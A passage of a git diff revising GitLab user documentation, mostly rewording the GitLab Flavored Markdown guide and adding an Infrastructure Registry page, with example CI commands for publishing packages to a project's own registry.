[Hugo](https://gohugo.io/content-management/front-matter/), and many other applications.
-When you view a Markdown file rendered by GitLab, any front matter is displayed as-is,
+When you view a Markdown file rendered by GitLab, front matter is displayed as-is,
in a box at the top of the document. The HTML content displays after the front matter. To view an example,
you can toggle between the source and rendered version of a
-[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/README.md).
+[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md).
-In GitLab, front matter is only used in Markdown files and wiki pages, not the other
+In GitLab, front matter is used only in Markdown files and wiki pages, not the other
places where Markdown formatting is supported. It must be at the very top of the document
-and must be between delimiters, as explained below.
+and must be between delimiters.
The following delimiters are supported:
@@ -352,9 +308,9 @@ $example = array(
### Inline diff
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-diff).
+[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#inline-diff).
-With inline diff tags you can display `{+ additions +}` or `[- deletions -]`.
+With inline diff tags, you can display `{+ additions +}` or `[- deletions -]`.
The wrapping tags can be either curly braces or square brackets:
@@ -369,7 +325,7 @@ The wrapping tags can be either curly braces or square brackets:
---
-However, the wrapping tags can't be mixed:
+However, you cannot mix the wrapping tags:
```markdown
- {+ addition +]
@@ -379,7 +335,7 @@ However, the wrapping tags can't be mixed:
```
If your diff includes words in `` `code` `` font, make sure to escape each backtick `` ` `` with a
-backslash `\`, otherwise the diff highlight don't render correctly:
+backslash `\`. Otherwise the diff highlight does not render correctly:
```markdown
- {+ Just regular text +}
@@ -391,18 +347,18 @@ backslash `\`, otherwise the diff highlight don't render correctly:
### Math
-If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#math).
+[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#math).
-It's possible to have math written with LaTeX syntax rendered using [KaTeX](https://github.com/KaTeX/KaTeX).
+Math written in LaTeX syntax is rendered with [KaTeX](https://github.com/KaTeX/KaTeX).
-Math written between dollar signs `$` are rendered inline with the text. Math written
-inside a [code block](#code-spans-and-blocks) with the language declared as `math`, are rendered
+Math written between dollar signs `$` is rendered inline with the text. Math written
+in a [code block](#code-spans-and-blocks) with the language declared as `math` is rendered
on a separate line:
````markdown
This math is inline $`a^2+b^2=c^2`$.
-This is on a separate line
+This is on a separate line:
```math
a^2+b^2=c^2
@@ -417,71 +373,22 @@ This is on a separate line
a^2+b^2=c^2
```
-_Be advised that KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX._
+_KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX._
-This also works for the Asciidoctor `:stem: latexmath`. For details, see
+This syntax also works for the Asciidoctor `:stem: latexmath`. For details, see
the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support).
-### Special GitLab references
-
-GitLab Flavored Markdown recognizes special GitLab related references. For example, you can reference
-an issue, a commit, a team member, or even an entire project team. GitLab Flavored Markdown turns
-that reference into a link so you can navigate between them.
-
-Additionally, GitLab Flavored Markdown recognizes certain cross-project references and also has a shorthand
-version to reference other projects from the same namespace.
-
-GitLab Flavored Markdown recognizes the following:
-
-| references | input | cross-project reference | shortcut inside same namespace |
-| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- |
-| specific user | `@user_name` | | |
-| specific group | `@group_name` | | |
-| entire team | `@all` | | |
-| project | `namespace/project>` | | |
-| issue | ``#123`` | `namespace/project#123` | `project#123` |
-| merge request | `!123` | `namespace/project!123` | `project!123` |
-| snippet | `$123` | `namespace/project$123` | `project$123` |
-| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | |
-| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
-| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` |
-| label by ID | `~123` | `namespace/project~123` | `project~123` |
-| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |
-| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` |
-| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` |
-| project milestone by ID | `%123` | `namespace/project%123` | `project%123` |
-| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` |
-| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` |
-| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |
-| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
-| repository file references | `[README](doc/README.md)` | | |
-| repository file line references | `[README](doc/README.md#L13)` | | |
-| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
-
-1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7.
-
-For example, referencing an issue by using `#123` formats the output as a link
-to issue number 123 with text `#123`. Likewise, a link to issue number 123 is
-recognized and formatted with text `#123`. If you don't want `#123` to link to an issue,
-add a leading backslash `\#123`.
-
-In addition to this, links to some objects are also recognized and formatted. Some examples of these are:
-
-- Comments on issues: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234#note_101075757"`, which are rendered as `#1234 (comment 101075757)`
-- The issues designs tab: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs"`, which are rendered as `#1234 (designs)`.
-- Links to individual designs: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png"`, which are rendered as `#1234[layout.png]`.
-
### Task lists
-If this section isn't rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists).
+[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#task-lists).
-You can add task lists anywhere Markdown is supported, but only issues, merge requests, and
-comments support clicking to toggle the boxes. In other
-places, you must edit the Markdown manually to change the status by adding or
-removing an `x` inside the square brackets.
+You can add task lists anywhere Markdown is supported.
-To create a task list, add a specially-formatted Markdown list. You can use either
-unordered or ordered lists:
+- In issues, merge requests, and comments, you can click to select the boxes.
+- In all other places, you cannot click to select the boxes. You must edit the Markdown manually
+ by adding or removing an `x` in the brackets.
+
+To create a task list, follow the format of an ordered or unordered list:
```markdown
- [x] Completed task
@@ -496,13 +403,14 @@ unordered or ordered lists:
1. [x] Sub-task 2
```
-![Task list as rendered by the GitLab interface](img/completed_tasks_v13_3.png)
+![Task list as rendered by GitLab](img/completed_tasks_v13_3.png)
### Table of contents
-Add a table of contents to a Markdown file, wiki page, issue request, or merge request
-description by adding the tag `[[_TOC_]]` on its own line.
-It displays an unordered list that links to subheadings in the document.
+A table of contents is an unordered list that links to subheadings in the document.
+
+To add a table of contents to a Markdown file, wiki page, issue request, or merge request
+description, add the `[[_TOC_]]` tag on its own line.
```markdown
This is an intro sentence to my Wiki page.
@@ -522,14 +430,14 @@ Second section content.
### Wiki-specific Markdown
-The following examples show how links inside wikis behave.
+The following topics show how links inside wikis behave.
#### Wiki - direct page link
-A link which just includes the slug for a page points to that page,
-_at the base level of the wiki_.
+A direct page link includes the slug for a page that points to that page,
+at the base level of the wiki.
-This snippet would link to a `documentation` page at the root of your wiki:
+This example links to a `documentation` page at the root of your wiki:
```markdown
[Link to Documentation](documentation)
@@ -537,10 +445,10 @@ This snippet would link to a `documentation` page at the root of your wiki:
#### Wiki - direct file link
-Links with a file extension point to that file, _relative to the current page_.
+A direct file link points to a file extension for a file, relative to the current page.
-If the snippet below was placed on a page at `<your_wiki>/documentation/related`,
-it would link to `<your_wiki>/documentation/file.md`:
+If the following example is on a page at `<your_wiki>/documentation/related`,
+it links to `<your_wiki>/documentation/file.md`:
```markdown
[Link to File](file.md)
@@ -548,32 +456,32 @@ it would link to `<your_wiki>/documentation/file.md`:
#### Wiki - hierarchical link
-A link can be constructed relative to the current wiki page using `./<page>`,
+A hierarchical link can be constructed relative to the current wiki page by using `./<page>`,
`../<page>`, and so on.
-If this snippet was placed on a page at `<your_wiki>/documentation/main`,
-it would link to `<your_wiki>/documentation/related`:
+If this example is on a page at `<your_wiki>/documentation/main`,
+it links to `<your_wiki>/documentation/related`:
```markdown
[Link to Related Page](related)
```
-If this snippet was placed on a page at `<your_wiki>/documentation/related/content`,
-it would link to `<your_wiki>/documentation/main`:
+If this example is on a page at `<your_wiki>/documentation/related/content`,
+it links to `<your_wiki>/documentation/main`:
```markdown
[Link to Related Page](../main)
```
-If this snippet was placed on a page at `<your_wiki>/documentation/main`,
-it would link to `<your_wiki>/documentation/related.md`:
+If this example is on a page at `<your_wiki>/documentation/main`,
+it links to `<your_wiki>/documentation/related.md`:
```markdown
[Link to Related Page](related.md)
```
-If this snippet was placed on a page at `<your_wiki>/documentation/related/content`,
-it would link to `<your_wiki>/documentation/main.md`:
+If this example is on a page at `<your_wiki>/documentation/related/content`,
+it links to `<your_wiki>/documentation/main.md`:
```markdown
[Link to Related Page](../main.md)
@@ -581,26 +489,75 @@ it would link to `<your_wiki>/documentation/main.md`:
#### Wiki - root link
-A link starting with a `/` is relative to the wiki root.
+A root link starts with a `/` and is relative to the wiki root.
-This snippet links to `<wiki_root>/documentation`:
+This example links to `<wiki_root>/documentation`:
```markdown
[Link to Related Page](/documentation)
```
-This snippet links to `<wiki_root>/miscellaneous.md`:
+This example links to `<wiki_root>/miscellaneous.md`:
```markdown
[Link to Related Page](/miscellaneous.md)
```
+## GitLab-specific references
+
+GitLab Flavored Markdown renders GitLab-specific references. For example, you can reference
+an issue, a commit, a team member, or even an entire project team. GitLab Flavored Markdown turns
+that reference into a link so you can navigate between them.
+
+Additionally, GitLab Flavored Markdown recognizes certain cross-project references and also has a shorthand
+version to reference other projects from the same namespace.
+
+GitLab Flavored Markdown recognizes the following:
+
+| references | input | cross-project reference | shortcut inside same namespace |
+| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- |
+| specific user | `@user_name` | | |
+| specific group | `@group_name` | | |
+| entire team | `@all` | | |
+| project | `namespace/project>` | | |
+| issue | ``#123`` | `namespace/project#123` | `project#123` |
+| merge request | `!123` | `namespace/project!123` | `project!123` |
+| snippet | `$123` | `namespace/project$123` | `project$123` |
+| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | |
+| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
+| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` |
+| label by ID | `~123` | `namespace/project~123` | `project~123` |
+| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |
+| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` |
+| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` |
+| project milestone by ID | `%123` | `namespace/project%123` | `project%123` |
+| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` |
+| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` |
+| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |
+| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
+| repository file references | `[README](doc/README.md)` | | |
+| repository file line references | `[README](doc/README.md#L13)` | | |
+| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
+
+1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7.
+
+For example, referencing an issue by using `#123` formats the output as a link
+to issue number 123 with text `#123`. Likewise, a link to issue number 123 is
+recognized and formatted with text `#123`. If you don't want `#123` to link to an issue,
+add a leading backslash `\#123`.
+
+In addition to this, links to some objects are also recognized and formatted. Some examples of these are:
+
+- Comments on issues: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234#note_101075757"`, which are rendered as `#1234 (comment 101075757)`
+- The issues designs tab: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs"`, which are rendered as `#1234 (designs)`.
+- Links to individual designs: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png"`, which are rendered as `#1234[layout.png]`.
+
### Embedding metrics in GitLab Flavored Markdown
Metric charts can be embedded in GitLab Flavored Markdown. Read
[Embedding Metrics in GitLab flavored Markdown](../operations/metrics/embed.md) for more details.
-## Standard Markdown and extensions in GitLab
+## Features extended from standard Markdown
All standard Markdown formatting should work as expected in GitLab. Some standard
functionality is extended with additional features, without affecting the standard usage.
@@ -629,7 +586,7 @@ Quote break.
#### Multiline blockquote
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiline-blockquote).
+If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#multiline-blockquote).
GitLab Flavored Markdown extends the standard Markdown by also supporting multi-line blockquotes
fenced by `>>>`:
@@ -713,7 +670,7 @@ Tildes are OK too.
#### Colored code and syntax highlighting
If this section isn't rendered correctly,
-[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting).
+[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting).
GitLab uses the [Rouge Ruby library](http://rouge.jneen.net/) for more colorful syntax
highlighting in code blocks. For a list of supported languages visit the
@@ -804,7 +761,7 @@ Strikethrough uses two tildes. ~~Scratch this.~~
#### Multiple underscores in words and mid-word emphasis
If this section isn't rendered correctly,
-[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words).
+[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#multiple-underscores-in-words).
Avoid italicizing a portion of a word, especially when you're
dealing with code and names that often appear with multiple underscores.
@@ -995,7 +952,7 @@ Do not change to a reference style link.
#### Videos
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#videos).
+If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#videos).
Image tags that link to files with a video extension are automatically converted to
a video player. The valid video extensions are `.mp4`, `.m4v`, `.mov`, `.webm`, and `.ogv`:
@@ -1012,7 +969,7 @@ Here's a sample video:
#### Audio
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#audio).
+If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#audio).
Similar to videos, link tags for files with an audio extension are automatically converted to
an audio player. The valid audio extensions are `.mp3`, `.oga`, `.ogg`, `.spx`, and `.wav`:
@@ -1030,7 +987,7 @@ Here's a sample audio clip:
### Inline HTML
To see the second example of Markdown rendered in HTML,
-[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-html).
+[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#inline-html).
You can also use raw HTML in your Markdown, and it usually works pretty well.
@@ -1095,7 +1052,7 @@ Markdown is fine in GitLab.
#### Collapsible section
To see the second Markdown example rendered in HTML,
-[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#details-and-summary).
+[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#details-and-summary).
Content can be collapsed using HTML's [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details)
and [`<summary>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary)
@@ -1439,26 +1396,32 @@ while the equation for the theory of relativity is E = mc<sup>2</sup>.
Tables are not part of the core Markdown spec, but they are part of GitLab Flavored Markdown.
1. The first line contains the headers, separated by "pipes" (`|`).
-1. The second line separates the headers from the cells, and must contain three or more dashes.
+1. The second line separates the headers from the cells.
+ - The cells can contain only empty spaces, hyphens, and
+ (optionally) colons for horizontal alignment.
+ - Each cell must contain at least one hyphen, but adding more hyphens to a
+ cell does not change the cell's rendering.
+ - Any content other than hyphens, whitespace, or colons is not allowed
1. The third, and any following lines, contain the cell values.
- You **can't** have cells separated over many lines in the Markdown, they must be kept to single lines,
but they can be very long. You can also include HTML `<br>` tags to force newlines if needed.
- The cell sizes **don't** have to match each other. They are flexible, but must be separated
by pipes (`|`).
- You **can** have blank cells.
+1. Column widths are calculated dynamically based on the content of the cells.
Example:
```markdown
| header 1 | header 2 | header 3 |
-| --- | ------ |----------|
+| --- | --- | --- |
| cell 1 | cell 2 | cell 3 |
| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |
| cell 7 | | cell 9 |
```
| header 1 | header 2 | header 3 |
-| --- | ------ |----------|
+| --- | --- | --- |
| cell 1 | cell 2 | cell 3 |
| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |
| cell 7 | | cell 9 |
@@ -1467,18 +1430,18 @@ Additionally, you can choose the alignment of text in columns by adding colons (
to the sides of the "dash" lines in the second row. This affects every cell in the column:
```markdown
-| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned |
-| :--- | :---: | ---: | :----------- | :------: | ------------: |
-| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 |
-| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 |
+| Left Aligned | Centered | Right Aligned |
+| :--- | :---: | ---: |
+| Cell 1 | Cell 2 | Cell 3 |
+| Cell 4 | Cell 5 | Cell 6 |
```
-| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned |
-| :--- | :---: | ---: | :----------- | :------: | ------------: |
-| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 |
-| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 |
+| Left Aligned | Centered | Right Aligned |
+| :--- | :---: | ---: |
+| Cell 1 | Cell 2 | Cell 3 |
+| Cell 4 | Cell 5 | Cell 6 |
-[In GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#tables),
+[In GitLab itself](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#tables),
the headers are always left-aligned in Chrome and Firefox, and centered in Safari.
You can use HTML formatting to adjust the rendering of tables. For example, you can
@@ -1486,13 +1449,13 @@ use `<br>` tags to force a cell to have multiple lines:
```markdown
| Name | Details |
-|------|---------|
+| --- | --- |
| Item1 | This is on one line |
| Item2 | This item has:<br>- Multiple items<br>- That we want listed separately |
```
| Name | Details |
-|------|---------|
+| --- | --- |
| Item1 | This is on one line |
| Item2 | This item has:<br>- Multiple items<br>- That we want listed separately |
@@ -1501,7 +1464,7 @@ but they do not render properly on `docs.gitlab.com`:
```markdown
| header 1 | header 2 |
-|----------|----------|
+| --- | --- |
| cell 1 | cell 2 |
| cell 3 | <ul><li> - [ ] Task one </li><li> - [ ] Task two </li></ul> |
```
@@ -1529,3 +1492,56 @@ entry and paste the spreadsheet:
at Daring Fireball is an excellent resource for a detailed explanation of standard Markdown.
- You can find the detailed specification for CommonMark in the [CommonMark Spec](https://spec.commonmark.org/current/).
- The [CommonMark Dingus](https://spec.commonmark.org/dingus/) helps you test CommonMark syntax.
+
+## Transition from Redcarpet to CommonMark
+
+- In GitLab 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet)
+ was removed. All issues and comments, including those in 11.1 and earlier, are now processed
+ by using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker).
+- In GitLab 11.3 and later, CommonMark processes wiki pages and Markdown
+ files (`*.md`) in repositories.
+- In GitLab 11.1 and later, the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker)
+ for Markdown processes all new issues, merge requests, comments, and other Markdown
+ content.
+
+The documentation website migrated its Markdown engine
+[from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108)
+in October 2018.
+
+You may have older issues, merge requests, or Markdown documents in your
+repository that relied upon nuances of the GitLab RedCarpet version
+of Markdown. Because CommonMark uses slightly stricter syntax, these documents
+may now appear differently after the transition to CommonMark.
+
+For example, numbered lists with nested lists may
+render incorrectly:
+
+```markdown
+1. Chocolate
+ - dark
+ - milk
+```
+
+To fix this issue, add a space to each nested item. The `-` must be aligned with the first
+character of the top list item (`C` in this case):
+
+```markdown
+1. Chocolate
+ - dark
+ - milk
+```
+
+1. Chocolate
+ - dark
+ - milk
+
+We flag any significant differences between Redcarpet and CommonMark Markdown in this document.
+
+If you have many Markdown files, it can be tedious to determine
+if they display correctly or not. You can use the
+[`diff_redcarpet_cmark`](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark)
+tool to generate a list of files and the
+differences between how RedCarpet and CommonMark render the files. It indicates
+if any changes are needed.
+
+`diff_redcarpet_cmark` is not an officially supported product.
diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md
index be3454dbd02..29ca3a48e70 100644
--- a/doc/user/operations_dashboard/index.md
+++ b/doc/user/operations_dashboard/index.md
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The Operations Dashboard provides a summary of each project's operational health,
including pipeline and alert status.
-The dashboard can be accessed from the top bar, by clicking **More > Operations**.
+To access the dashboard, on the top bar, select **Menu > Operations**.
## Adding a project to the dashboard
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index bc1e59e4ac2..b5170dfa55b 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
@@ -120,7 +120,7 @@ You can publish a Composer package to the Package Registry as part of your CI/CD
deploy:
stage: deploy
script:
- - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/packages/composer"'
+ - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "${CI_API_V4_URL}/projects/$CI_PROJECT_ID/packages/composer"'
```
1. Run the pipeline.
@@ -131,7 +131,7 @@ To view the published package, go to **Packages & Registries > Package Registry*
A more detailed Composer CI/CD file is also available as a `.gitlab-ci.yml` template:
-1. On the left sidebar, click **Project overview**.
+1. On the left sidebar, select **Project information**.
1. Above the file list, click **Set up CI/CD**. If this button is not available, select **CI/CD Configuration** and then **Edit**.
1. From the **Apply a template** list, select **Composer**.
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index 53d191cbcfe..a429e746cf2 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -281,7 +281,7 @@ image: conanio/gcc7
create_package:
stage: deploy
script:
- - conan remote add gitlab https://gitlab.example.com/api/v4/packages/conan
+ - conan remote add gitlab ${CI_API_V4_URL}/projects/$CI_PROJECT_ID/packages/conan
- conan new <package-name>/0.1 -t
- conan create . <group-name>+<project-name>/stable
- CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload <package-name>/0.1@<group-name>+<project-name>/stable --all --remote=gitlab
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index 6d7b009bb09..9d65c5d37ad 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -512,6 +512,17 @@ On GitLab.com, the execution time for the cleanup policy is limited, and some of
the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included,
so it may take multiple runs for all tags to be deleted.
+WARNING:
+GitLab self-managed installs support for third-party container registries that comply with the
+[Docker Registry HTTP API V2](https://docs.docker.com/registry/spec/api/)
+specification. However, this specification does not include a tag delete operation. Therefore, when
+interacting with third-party container registries, GitLab uses a workaround to delete tags. See the
+[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15737)
+for more information. Due to possible implementation variations, this workaround is not guaranteed
+to work with all third-party registries in the same predictable way. If you use the GitLab Container
+Registry, this workaround is not required because we implemented a special tag delete operation. In
+this case, you can expect cleanup policies to be consistent and predictable.
+
### Create a cleanup policy
You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the UI.
@@ -633,7 +644,9 @@ Examples:
- Select all tags, keep at least 1 tag per image, clean up any tag older than 14 days, run once a month, preserve any images with the name `master` and the policy is enabled:
```shell
- curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2"
+ curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' \
+ "https://gitlab.example.com/api/v4/projects/2"
```
Valid values for `cadence` when using the API are:
diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md
index b871a08c133..f0bf2fc3363 100644
--- a/doc/user/packages/index.md
+++ b/doc/user/packages/index.md
@@ -46,7 +46,6 @@ guides you through the process.
| Puppet | [#36897](https://gitlab.com/gitlab-org/gitlab/-/issues/36897) |
| RPM | [#5932](https://gitlab.com/gitlab-org/gitlab/-/issues/5932) |
| SBT | [#36898](https://gitlab.com/gitlab-org/gitlab/-/issues/36898) |
-| Terraform | [Draft: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) |
| Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) |
<!-- vale gitlab.Spelling = YES -->
@@ -54,6 +53,16 @@ guides you through the process.
The GitLab [Container Registry](container_registry/index.md) is a secure and private registry for container images. It's built on open source software and completely integrated within GitLab. Use GitLab CI/CD to create and publish images. Use the GitLab [API](../../api/container_registry.md) to manage the registry across groups and projects.
+## Infrastructure Registry
+
+The GitLab [Infrastructure Registry](infrastructure_registry/index.md) is a secure and private registry for infrastructure packages. You can use GitLab CI/CD to create and publish infrastructure packages.
+
+The Infrastructure Registry supports the following formats:
+
+| Package type | GitLab version |
+| ------------ | -------------- |
+| [Terraform Module](terraform_module_registry/index.md) | 14.0+ |
+
## Dependency Proxy
The [Dependency Proxy](dependency_proxy/index.md) is a local proxy for frequently-used upstream images and packages.
diff --git a/doc/user/packages/infrastructure_registry/index.md b/doc/user/packages/infrastructure_registry/index.md
new file mode 100644
index 00000000000..00370bd2f48
--- /dev/null
+++ b/doc/user/packages/infrastructure_registry/index.md
@@ -0,0 +1,93 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Infrastructure Registry **(FREE)**
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3221) in GitLab 14.0.
+
+With the GitLab Infrastructure Registry, you can use GitLab projects as a
+private registry for infrastructure packages. You can create and publish
+packages with GitLab CI/CD, which can then be consumed from other private
+projects.
+
+## View packages
+
+To view packages within your project or group:
+
+1. Go to the project or group.
+1. Go to **Packages & Registries > Infrastructure Registry**.
+
+You can search, sort, and filter packages on this page.
+
+When you view packages in a group:
+
+- All packages published to the group and its projects are displayed.
+- Only the projects you can access are displayed.
+- If a project is private, or you are not a member of the project, it is not displayed.
+
+For information on how to create and upload a package, view the GitLab
+documentation for your package type:
+
+- [Terraform modules](../terraform_module_registry/index.md)
+
+## Use GitLab CI/CD to build packages
+
+To use [GitLab CI/CD](../../../ci/README.md) to build packages, you can
+authenticate with the [`CI_JOB_TOKEN` predefined variable](../../../ci/variables/predefined_variables.md).
+
+CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+
+Learn more about using CI/CD to build:
+
+- [Terraform modules](../terraform_module_registry/index.md#publish-a-terraform-module-by-using-cicd)
+
+If you use CI/CD to build a package, you can find extended activity information
+when you view the package details:
+
+![Package CI/CD activity](../package_registry/img/package_activity_v12_10.png)
+
+You can see the pipeline that published the package as well as the commit and the user who triggered it. However, the history is limited to five updates per package.
+
+## Download a package
+
+To download a package:
+
+1. Go to **Packages & Registries > Infrastructure Registry**.
+1. Select the name of the package you want to download.
+1. In the **Activity** section, select the name of the package you want to download.
+
+## Delete a package
+
+You cannot edit a package after you publish it in the Infrastructure Registry. Instead, you
+must delete and recreate it.
+
+To delete a package, you must have suitable [permissions](../../permissions.md).
+
+You can delete packages by using [the API](../../../api/packages.md#delete-a-project-package) or the UI.
+
+To delete a package in the UI, from your group or project:
+
+1. Go to **Packages & Registries > Infrastructure Registry**.
+1. Find the name of the package you want to delete.
+1. Select **Delete**.
+
+The package is permanently deleted.
+
+## Disable the Infrastructure Registry
+
+The Infrastructure Registry is automatically enabled.
+
+For self-managed instances, a GitLab administrator can
+[disable](../../../administration/packages/index.md) **Packages & Registries**,
+which removes this menu item from the sidebar. **(FREE SELF)**
+
+You can also remove the Infrastructure Registry for a specific project:
+
+1. In your project, go to **Settings > General**.
